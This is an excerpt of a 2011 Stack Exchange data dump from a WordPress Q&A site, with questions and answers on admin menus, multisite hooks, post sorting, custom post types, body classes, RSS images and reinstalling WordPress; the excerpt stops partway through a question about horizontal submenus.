  <row Id="15888" PostTypeId="2" ParentId="14421" CreationDate="2011-04-29T00:43:20.667" Score="2" ViewCount="" Body="&lt;p&gt;Why not just add another if?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_menus(){&#xA;    global $menu;&#xA;    global $current_user;&#xA;    get_currentuserinfo();&#xA;   //check first user&#xA;    if($current_user-&amp;gt;user_login == 'user1'){&#xA;        $restricted = array(&#xA;                            __('Links'),&#xA;                            __('Comments'),&#xA;                            __('Appearance'),&#xA;                            __('Plugins'),&#xA;                            __('Profile'),&#xA;                            __('Tools'),&#xA;                            __('Settings')&#xA;        );&#xA;        end ($menu);&#xA;        while (prev($menu)){&#xA;            $value = explode(' ',$menu[key($menu)][0]);&#xA;            if(in_array($value[0] != NULL?$value[0]:&quot;&quot; , $restricted)){unset($menu[key($menu)]);}&#xA;        }&#xA;    }&#xA;    //check second user&#xA;    if($current_user-&amp;gt;user_login == 'user2'){&#xA;        $restricted = array(&#xA;                            __('Links'),&#xA;                            __('Comments'),&#xA;                            __('Appearance'),&#xA;                            __('Plugins')&#xA;        );&#xA;        end ($menu);&#xA;        while (prev($menu)){&#xA;            $value = explode(' ',$menu[key($menu)][0]);&#xA;            if(in_array($value[0] != NULL?$value[0]:&quot;&quot; , $restricted)){unset($menu[key($menu)]);}&#xA;        }&#xA;    }&#xA;&#xA;}&#xA;&#xA;add_action('admin_menu', 'remove_menus');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;same function but two different users will get different menus.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-29T00:43:20.667" CommentCount="1" />
  <row Id="15889" PostTypeId="2" ParentId="15570" CreationDate="2011-04-29T00:59:10.423" Score="1" ViewCount="" Body="&lt;p&gt;Forget about the previous answer, You say that it works fine with &lt;code&gt;publish_post&lt;/code&gt; hook then you create a plugin in your mu-plugins (“must-use” plugins) which you can hook your function to and just add &lt;code&gt;switch_to_blog&lt;/code&gt; before you start inserting and updating things in the database and then revert back using &lt;code&gt;restore_current_blog()&lt;/code&gt;&#xA;So &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch_to_blog($main_blog_id); //usually 1&#xA;...&#xA;//your function&#xA;...&#xA;restore_current_blog();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-04T22:18:08.403" LastActivityDate="2011-05-04T22:18:08.403" CommentCount="12" />
  <row Id="15890" PostTypeId="2" ParentId="15839" CreationDate="2011-04-29T01:24:41.147" Score="0" ViewCount="" Body="&lt;p&gt;Maybe this solution can help you, I needed to control posts sort by meta_key and meta_value on every request so I created a filter this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;* Filter for every the loop request&#xA;* &#xA;* @param mixed $request&#xA;*/&#xA;function request( $request ) {&#xA;    $option = $_REQUEST['mysortoption'] ? $_REQUEST['mysortoption'] : 'default';&#xA;&#xA;    switch ( strtolower($option) ) {&#xA;        case 'most-viewed':&#xA;            $request['meta_key'] = 'most-viewed';&#xA;            $request['orderby'] = &quot;meta_value&quot;;&#xA;            break;&#xA;        case 'hot':&#xA;            $request['orderby'] = 'comment_count';&#xA;            break;&#xA;        default:&#xA;            break;&#xA;    }&#xA;&#xA;    return $request;&#xA;}&#xA;add_filter('request', 'request');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ok, this solution is part of a big requirement but what we're doing here is just intercepting every request, verify is there is a special sort option I added before and apply the corresponding sort by meta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps you.&lt;/p&gt;&#xA;" OwnerUserId="4979" LastActivityDate="2011-04-29T01:24:41.147" />
  <row Id="15891" PostTypeId="1" AcceptedAnswerId="15897" CreationDate="2011-04-29T01:46:37.353" Score="1" ViewCount="61" Body="&lt;p&gt;I'm about to embark on creating a new WP that, at the core, will rely on a custom post type. I'm building this plugin for a client, but plan to make it flexible enough to release in the future. My client has a specific need for the plugin and I ultimately want it to be flexible enough to meet the needs of many users. As such, I plan to create an admin area where a user can enter the various args that would go into the &lt;code&gt;register_post_type&lt;/code&gt; function. My thoughts in doing so are that the end user will be able to leverage the power of my plugin while also being able to preciously control the custom post type that the plugin generates. I like the idea of easily giving this control over to non-technical users; however, my concern is that I could invite a number of potential issues by doing so. For instance, imagine that a user uses the interface to name the custom post type &quot;whirly-doos&quot;, but later thinks that's a dumb name and decides to call it &quot;howdy-doos&quot;. This could potentially orphan their previous custom post types. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So...my questions are: is this a good way of going about building this plugin? How would you implement the plugin and maintain a nice balance between customization and stability?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-04-29T02:05:56.447" Title="Building plugin with changeable custom post type values...advice needed" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;development-strategy&gt;" AnswerCount="2" />
  <row Id="15892" PostTypeId="2" ParentId="15886" CreationDate="2011-04-29T01:46:42.913" Score="2" ViewCount="" Body="&lt;p&gt;The following function shows you some &quot;best practice&quot; example ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It includes error handling, checking for emtpy array values, parsing input args with defaults, cares about if you want to echo the result, etc. You even got a filter for your child themes defaults. :)&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The function in your functions.php file:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse15886_check_cat( $args = array( 'cat_url', 'other_args_for_the_output', 'echo' =&amp;gt; false ) )&#xA;{&#xA;    // Abort if no 'cat_url' argument was given&#xA;    if ( ! isset( $args['cat_url'] ) )&#xA;        $error = __( 'You have to specify a category slug.' );&#xA;&#xA;    // check if the category exists&#xA;    $given_cat = get_category_by_slug( $args['cat_url'] );&#xA;&#xA;    if ( empty( $given_cat ) )&#xA;        $error = sprintf( __( 'The category with the slug %1$s does not exist.' ), $args['cat_url'] );&#xA;&#xA;    // check if we got posts for the given category&#xA;    $the_posts = get_posts( array( 'category' =&amp;gt; $args['cat_url'] ) );&#xA;&#xA;    if ( empty( $the_posts ) )&#xA;        $error = __( 'No posts were found for the given category slug.' );&#xA;&#xA;    // error handling - generate the output&#xA;    $error_msg = new WP_Error( __FUNCTION__, $error );&#xA;    if ( is_wp_error( $error_msg ) ) &#xA;    {&#xA;        ?&amp;gt;&#xA;            &amp;lt;div id=&quot;error-&amp;lt;?php echo $message-&amp;gt;get_error_code(); ?&amp;gt;&quot; class=&quot;error-notice&quot;&amp;gt;&#xA;                &amp;lt;strong&amp;gt;&#xA;                    &amp;lt;?php echo $message-&amp;gt;get_error_message(); ?&amp;gt;&#xA;                &amp;lt;/strong&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php &#xA;        // abort&#xA;        return;&#xA;    }&#xA;&#xA;    // Set some defaults&#xA;    $defaults = array(&#xA;         'key a' =&amp;gt; 'val a'&#xA;        ,'key a' =&amp;gt; 'val a'&#xA;        ,'key a' =&amp;gt; 'val a'&#xA;    );&#xA;    // filter defaults&#xA;    $defaults = apply_filters( 'filter_check_cats', $defaults ); &#xA;&#xA;    // merge defaults with input arguments&#xA;    $args = wp_parse_args( $args, $defaults );&#xA;    extract( $args, EXTR_SKIP );&#xA;&#xA;    // &amp;gt;&amp;gt;&amp;gt;&amp;gt; build the final function output&#xA;    $output = $the_posts;&#xA;    $output = __( 'Do what ever you need to do here.' );&#xA;    $output = sprintf( __( 'Manipulating some of the parsed %1$s for example.' ), $args['other_args_for_the_output'] );&#xA;    // &amp;lt;&amp;lt;&amp;lt;&amp;lt; end build output&#xA;&#xA;    // just return the value for further modification&#xA;    if ( $args['echo'] === false )&#xA;        return $output;&#xA;&#xA;    return print $output;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that i haven't tested the function, so there might be some misstypings and else. But errors will lead you.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The usecase:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_cats = array(&#xA;     'cat_slug_a' &#xA;    ,'cat_slug_b' &#xA;    ,'cat_slug_c'&#xA;);&#xA;&#xA;if ( function_exists( 'wpse15886_check_cat' ) )&#xA;{&#xA;    foreach ( $my_cats as $cat )&#xA;    {&#xA;        $my_cats_args = array(&#xA;             $cat&#xA;            ,'other_args_for_the_output' // this could also be another array set in here&#xA;            ,'echo' =&amp;gt; true&#xA;        );&#xA;&#xA;        // trigger the function&#xA;        wpse15886_check_cat( $my_cats_args );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-09T14:35:43.757" LastActivityDate="2011-08-09T14:35:43.757" />
  <row Id="15894" PostTypeId="2" ParentId="15692" CreationDate="2011-04-29T01:52:41.300" Score="1" ViewCount="" Body="&lt;p&gt;Well, WordPress.com is a single installation of WordPress multisite (one extremely well optimized, cached, and load balanced installation, but still just one). I just checked, and they run &lt;a href=&quot;http://en.wordpress.com/stats/&quot; rel=&quot;nofollow&quot;&gt;over 19 million blogs&lt;/a&gt; there, with better performance than any site I've ever built.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, your server(s) and environments will need to grow with your site. I vaguely remember hearing somewhere that you will max out a single mysql database in the tens of thousands of sites; at that point (well, hopefully well before it) you'd have to move to multiple databases and use a plugin like &lt;a href=&quot;http://wordpress.org/extend/plugins/hyperdb/&quot; rel=&quot;nofollow&quot;&gt;HyperDB&lt;/a&gt; (which is based on the code used by WordPress.com).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &lt;a href=&quot;http://wordpress.tv/2010/09/19/mark-jaquith-swan-dive-%E2%80%A6into-the-best-wordpress-of-your-life/&quot; rel=&quot;nofollow&quot;&gt;plenty&lt;/a&gt; of &lt;a href=&quot;http://www.wpbeginner.com/plugins/how-to-install-and-setup-w3-total-cache-for-beginners/&quot; rel=&quot;nofollow&quot;&gt;tutorials&lt;/a&gt; on &lt;a href=&quot;http://codex.wordpress.org/How_to_Scale_WPMU&quot; rel=&quot;nofollow&quot;&gt;how to optimize&lt;/a&gt; WordPress and how to leverage the best caching practices to keep your site fast and fresh as it scales.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-04-29T02:12:39.043" LastActivityDate="2011-04-29T02:12:39.043" />
  <row Id="15896" PostTypeId="2" ParentId="15891" CreationDate="2011-04-29T02:05:11.470" Score="0" ViewCount="" Body="&lt;p&gt;I guess there are already some plugins out there that do stuff like you mentioned. &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;Here's one example&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-29T02:05:11.470" CommentCount="8" />
  <row Id="15897" PostTypeId="2" ParentId="15891" CreationDate="2011-04-29T02:05:56.447" Score="1" ViewCount="" Body="&lt;p&gt;I would not give them control over the actual name of the post type. What if they rename it to revision or attachment? Big time site wreckage potential there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd say stick with the more &quot;trivial&quot; things; basically, only those things that don't go into the database: labels, rewrite settings (although that could be potentially hazardous in the hands of an uneducated user), menu icon, menu position, exclude from search, and supports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think allowing GUI management of those things would give the user the most flexibility without compromising stability.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-29T02:05:56.447" CommentCount="1" />
  <row Id="15898" PostTypeId="2" ParentId="15850" CreationDate="2011-04-29T02:14:25.457" Score="1" ViewCount="" Body="&lt;p&gt;Just an addition to @Geert answer (added a blacklist too) :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please be so nice to mark @Geert s answer as solution (not this one).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse15850_body_class( $wp_classes, $extra_classes )&#xA;{&#xA;    // List of the only WP generated classes allowed&#xA;    $whitelist = array( 'home', 'blog', 'archive', 'single', 'category', 'tag', 'error404', 'logged-in', 'admin-bar' );&#xA;&#xA;    // List of the only WP generated classes that are not allowed&#xA;    $blacklist = array( 'home', 'blog', 'archive', 'single', 'category', 'tag', 'error404', 'logged-in', 'admin-bar' );&#xA;&#xA;    // Filter the body classes&#xA;    // Whitelist result: (comment if you want to blacklist classes)&#xA;    $wp_classes = array_intersect( $wp_classes, $whitelist );&#xA;    // Blacklist result: (uncomment if you want to blacklist classes)&#xA;    # $wp_classes = array_diff( $wp_classes, $blacklist );&#xA;&#xA;    // Add the extra classes back untouched&#xA;    return array_merge( $wp_classes, (array) $extra_classes );&#xA;}&#xA;add_filter( 'body_class', 'wpse15850_body_class', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-29T02:14:25.457" />
  <row Id="15899" PostTypeId="2" ParentId="15850" CreationDate="2011-04-29T02:38:28.560" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;Try the following...&#xA;&#xA;function var_template_include( $t ){&#xA;    $basename = basename($t);&#xA;    $templatename = substr($basename, 0,strrpos($basename,'.')); &#xA;    $GLOBALS['current_theme_template'] = $templatename;&#xA;&#xA;    return $t;&#xA;}&#xA;add_filter( 'template_include', 'var_template_include', 1000 );&#xA;&#xA;&#xA;function current_template( $echo = false ) {&#xA;    if( !isset( $GLOBALS['current_theme_template'] ) ) {&#xA;        return false;&#xA;    } if( $echo ) {&#xA;        echo $GLOBALS['current_theme_template'];&#xA;    } else {&#xA;        return  $GLOBALS['current_theme_template'];&#xA;    }   &#xA;}&#xA;&#xA;function body_template_as_class() {&#xA;echo 'class=&quot;'.current_template().'&quot;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3081" LastActivityDate="2011-04-29T02:38:28.560" />
  <row Id="15900" PostTypeId="1" CreationDate="2011-04-29T03:10:34.933" Score="3" ViewCount="111" Body="&lt;p&gt;Is it possible to reduce the image size of WordPress rss feeds parse to feedburner? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meaning to say I still want to retain the large image size on the original post page but only display the thumbnail or medium sized image when subscribers are reading it via feedburner.&lt;/p&gt;&#xA;" OwnerUserId="4982" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-29T04:44:05.283" LastActivityDate="2011-07-28T13:32:28.030" Title="Reducing image size in RSS only" Tags="&lt;rss&gt;&lt;image&gt;&lt;image-size&gt;&lt;feedburner&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="15902" PostTypeId="1" CreationDate="2011-04-29T04:15:35.650" Score="0" ViewCount="39" Body="&lt;p&gt;I have WordPress installed on my server. now i was using it almost as a testing install but i put up many posts on it. I added and removed many plugins and themes and tweaked with all the settings. So now i want to do a fresh install of wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want a new database and the core. Also i want to install all the plugins and the theme again.&#xA;I want to keep my existing posts, with the images. There are just 30 of them, with no comments, and comments are handled by DISQUS. Also, the export file from wordpress, gives me an xml file, but i will put it on the same domain, so i think i wouldn't be able to get those images.&#xA;Its ok if the downtime is long, no problem... but i want a fresh install...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can anyone guide me on how to do this without any errors... Thanks and just for info, my hosting is on GoDaddy...&lt;/p&gt;&#xA;" OwnerUserId="4072" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-29T04:40:04.163" LastActivityDate="2011-05-29T05:54:57.590" Title="Reinstalling WordPress" Tags="&lt;install&gt;" AnswerCount="1" />
  <row Id="15903" PostTypeId="1" CreationDate="2011-04-29T04:21:35.987" Score="-2" ViewCount="90" Body="&lt;p&gt;I'm looking for a slider plugin that allow me to insert additional buttons in a slider, not the next and prev neither numbers, I mean buttons to redirect users to a different page, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate your info!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="4907" LastActivityDate="2011-04-29T11:12:32.427" Title="Sliders with buttons" Tags="&lt;jquery&gt;" AnswerCount="2" />
  <row Id="15905" PostTypeId="2" ParentId="15887" CreationDate="2011-04-29T04:24:35.790" Score="1" ViewCount="" Body="&lt;p&gt;Remove&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DISTINCT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GROUP BY $wpdb-&amp;gt;posts.ID&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;before 'ORDER BY'&lt;/p&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-04-29T04:24:35.790" CommentCount="1" />
  <row Id="15906" PostTypeId="2" ParentId="15902" CreationDate="2011-04-29T04:26:53.133" Score="1" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;Export the WordPress XML file&lt;/li&gt;&#xA;&lt;li&gt;Create a temporary wordpress.com&#xA;account&lt;/li&gt;&#xA;&lt;li&gt;Import the WordPress XML file&#xA;into the temporary wordpress.com&#xA;account&lt;/li&gt;&#xA;&lt;li&gt;Export the WordPress.com XML file&lt;/li&gt;&#xA;&lt;li&gt;Re-install WordPress, with fresh&#xA;database, etc.&lt;/li&gt;&#xA;&lt;li&gt;Import WordPress.com XML file&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-29T04:26:53.133" CommentCount="4" />
  <row Id="15907" PostTypeId="2" ParentId="15193" CreationDate="2011-04-29T05:59:34.250" Score="2" ViewCount="" Body="&lt;p&gt;Anyone with a similar issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, try the following after connecting to your webhost via SSH:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ping &amp;lt;yourwebsite&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you get a &quot;cannot connect to host&quot; issue, there's a firewall or NAT problem blocking traffic for RSS. Contact your server admin.&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-04-29T05:59:34.250" />
  <row Id="15908" PostTypeId="1" CreationDate="2011-04-29T06:14:55.593" Score="2" ViewCount="121" Body="&lt;p&gt;I updated WP to 3.1, and one issue my organization (which uses WP in Network Mode) is having is the Add New User page in wp-admin is now much less detailed -- before it was more like profile.php, with the ability to set username, password and much more. Now, it's only username, password and role.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to revert this back? Our organization generally creates accounts for people instead of vice-versa?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1682" LastEditorUserId="1682" LastEditorDisplayName="" LastEditDate="2011-04-29T19:05:08.440" LastActivityDate="2011-05-30T01:55:19.033" Title="user-new.php less detailed after WP3.1; how to revert?" Tags="&lt;admin&gt;&lt;3.1&gt;&lt;users&gt;&lt;network&gt;&lt;profiles&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="15909" PostTypeId="2" ParentId="15900" CreationDate="2011-04-29T06:59:56.493" Score="1" ViewCount="" Body="&lt;p&gt;If we're talking about thumbnails then yeah, but if you're talking about images inserted in your post then probably not that easy. You'd have to hook to &lt;code&gt;the_content&lt;/code&gt; and see if the current view is the RSS view, then run a regexp for images and possibly swap the sizes. WordPress has a naming convention for different registered (&lt;code&gt;add_image_size&lt;/code&gt;) sizes so you shouldn't have much trouble there.&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2011-04-29T06:59:56.493" />
  <row Id="15910" PostTypeId="1" AcceptedAnswerId="15911" CreationDate="2011-04-29T07:01:45.397" Score="2" ViewCount="175" Body="&lt;p&gt;When uploading images via the media manager there are a couple of set sizes available such as thumb, medium and large.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do know how to add additional sizes, but I have yet to get it to insert an image with width='x%'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the concept is that i am building an adaptive theme and I never want the inserted image to be larger than the container even upon browser resize,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By manually editing the inserted image code to include widths with a %, then it works just fine. However trying to get my users to remember this is downright impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like would be a button to insert an image into a post with a set % (percentage) instead of a set pixel width.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;possible?&lt;/p&gt;&#xA;" OwnerUserId="370" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-29T07:46:10.303" LastActivityDate="2011-04-29T07:46:10.303" Title="Set Image width='x%' (percentage width not pixel width) when inserted via the media manager?" Tags="&lt;css&gt;&lt;media&gt;&lt;media-upload&gt;" AnswerCount="1" />
  <row Id="15911" PostTypeId="2" ParentId="15910" CreationDate="2011-04-29T07:05:03.417" Score="0" ViewCount="" Body="&lt;p&gt;I guess what you're looking for is the &lt;code&gt;$content_width&lt;/code&gt; global that would basically limit the width of your images, used in functions.php. Some more info here: &lt;a href=&quot;http://mainstreetopen.com/wordpress-26-and-full-width-images/&quot; rel=&quot;nofollow&quot;&gt;http://mainstreetopen.com/wordpress-26-and-full-width-images/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2011-04-29T07:05:03.417" CommentCount="3" />
  <row Id="15912" PostTypeId="2" ParentId="15903" CreationDate="2011-04-29T07:11:10.887" Score="0" ViewCount="" Body="&lt;p&gt;You should look for sliders that allow you to insert HTML content inside your slides. jQuery Cycle is a good example, look at non-image content: &lt;a href=&quot;http://jquery.malsup.com/cycle/int2.html&quot; rel=&quot;nofollow&quot;&gt;http://jquery.malsup.com/cycle/int2.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2011-04-29T07:11:10.887" CommentCount="1" />
  <row Id="15913" PostTypeId="2" ParentId="15864" CreationDate="2011-04-29T07:14:27.560" Score="0" ViewCount="" Body="&lt;p&gt;Why don't you use &lt;code&gt;apply_filters( 'the_content', $var );&lt;/code&gt; when outputting your custom field? You don't really want to &lt;strong&gt;save&lt;/strong&gt; the extra paragraphs, otherwise you'll end up seeing them when editing the custom field. This is not what happens with WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not happy with what &lt;code&gt;the_content&lt;/code&gt; does (it does a lot of things including &lt;code&gt;wpautop&lt;/code&gt;) then create a custom filter like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Assuming $var is your custom field value&#xA;add_filter( 'my_custom_filter', 'wpautop' );&#xA;echo apply_filters( 'my_custom_filter', $var );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2011-04-29T07:14:27.560" />
  <row Id="15914" PostTypeId="1" AcceptedAnswerId="15917" CreationDate="2011-04-29T07:21:06.817" Score="0" ViewCount="79" Body="&lt;p&gt;I would like to introduce page-hierarchy navigation in my WordPress blog using subpages. So each page may have sub-pages, but I'd like that when a visitor clicks on a page header he will be redirected to a specific subpage. For example, say my hierarchy is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. Movies&#xA;1.1 General&#xA;1.2 Westerns&#xA;1.3 Animated&#xA;2. Music&#xA;2.1 General&#xA;2.2 Classic&#xA;2.3 Country&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I want is that when someone clicks on &quot;Movies&quot; he will reach &quot;Movies/General&quot;. Can this be achieved using plugins alone? If not, what's required? &lt;/p&gt;&#xA;" OwnerUserId="4927" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-29T07:43:44.643" LastActivityDate="2011-04-29T07:43:44.643" Title="Directing a page to a default subpage" Tags="&lt;custom-menus&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="15915" PostTypeId="1" AcceptedAnswerId="15931" CreationDate="2011-04-29T07:21:51.640" Score="1" ViewCount="187" Body="&lt;p&gt;So I have this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_list_categories(array(&#xA;            'show_option_all'       =&amp;gt; 'All Categories',&#xA;            'orderby'            =&amp;gt; 'ID',&#xA;            'order'                 =&amp;gt; 'DESC',&#xA;            'use_desc_for_title' =&amp;gt; 0,&#xA;            'child_of'           =&amp;gt; 0,&#xA;            'exclude'            =&amp;gt; '',&#xA;            'exclude_tree'       =&amp;gt; '', &#xA;            'include'            =&amp;gt; '',&#xA;            'hierarchical'       =&amp;gt; 1,&#xA;            'title_li'           =&amp;gt; NULL,&#xA;            'show_option_none'   =&amp;gt; NULL,&#xA;            'number'             =&amp;gt; NULL,&#xA;            'taxonomy'           =&amp;gt; 'category' ));?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the first item, &lt;code&gt;show_option_all&lt;/code&gt;, produces the following link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://mywebsite.com&quot;&amp;gt;All Categories&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is, it is calling &lt;code&gt;index.php&lt;/code&gt; or &lt;code&gt;home.php&lt;/code&gt; when what I would like is for it to call the &lt;code&gt;category.php&lt;/code&gt; template, where I would expect it to produce a link like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://mywebsite.com/categories/all&quot;&amp;gt;All Categories&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or something. Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="2150" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-08-02T13:23:46.653" LastActivityDate="2011-08-02T13:23:46.653" Title="Does &quot;show_option_all&quot; in wp_list_categories do anything?" Tags="&lt;categories&gt;&lt;templates&gt;" AnswerCount="1" />
  <row Id="15916" PostTypeId="2" ParentId="15908" CreationDate="2011-04-29T07:27:53.550" Score="1" ViewCount="" Body="&lt;p&gt;The old user registration form is not compatible with the new one due to the new multi site user roles introduced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it does involve an extra step the new users profile can be edited once the user is created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also plugins available that extend the add new user options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gravity Forms has a &lt;a href=&quot;http://www.gravityforms.com/add-ons/user-registration/&quot; rel=&quot;nofollow&quot;&gt;user registration add on&lt;/a&gt; that allows you to customize a user registration form and WPMUdev.org has a &lt;a href=&quot;http://premium.wpmudev.org/project/add-new-users&quot; rel=&quot;nofollow&quot;&gt;Add New User plugin&lt;/a&gt; that extends the form in admin.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-29T07:27:53.550" CommentCount="1" />
  <row Id="15917" PostTypeId="2" ParentId="15914" CreationDate="2011-04-29T07:42:57.593" Score="1" ViewCount="" Body="&lt;p&gt;Using WordPress custom nav menus create a menu and add the &quot;General&quot; page 2 times.  The first as the parent and the second as the first child then add the rest of the pages as childs under the first General.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the title in the first general to movies then on the front end when a user clicks movies they will got to the general page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/jf8Cd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-29T07:42:57.593" CommentCount="1" />
  <row Id="15918" PostTypeId="1" CreationDate="2011-04-29T08:43:25.703" Score="0" ViewCount="102" Body="&lt;p&gt;My blog's page hierarchy is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- Home&#xA;- About&#xA;- Movies&#xA;- - General&#xA;- - All Movies &#xA;- - Rules&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right now, I have a horizontal menu showing &lt;code&gt;Home | About | Movies&lt;/code&gt;, and if I hover Movies I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Home | About | &amp;gt;Movies&amp;lt;&#xA;     |       |  General&#xA;     |       |  All Movies&#xA;     |       |  Rules&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I choose, for example, &lt;code&gt;General&lt;/code&gt;, the menu returns to &lt;code&gt;Home | About | Movies&lt;/code&gt;. What I'd like is for the drop down to be horizontal as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Home | About | &amp;gt;Movies&amp;lt;&#xA;General | All Movies | Rules&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that if I select one of the submenu pages, the submenu will stay there with a selection marked. So for example, if I click on &lt;code&gt;All Movies&lt;/code&gt;, the menu will appear as follows (The &quot;&amp;lt;&quot; signs are for illustrating the selection, not to be used 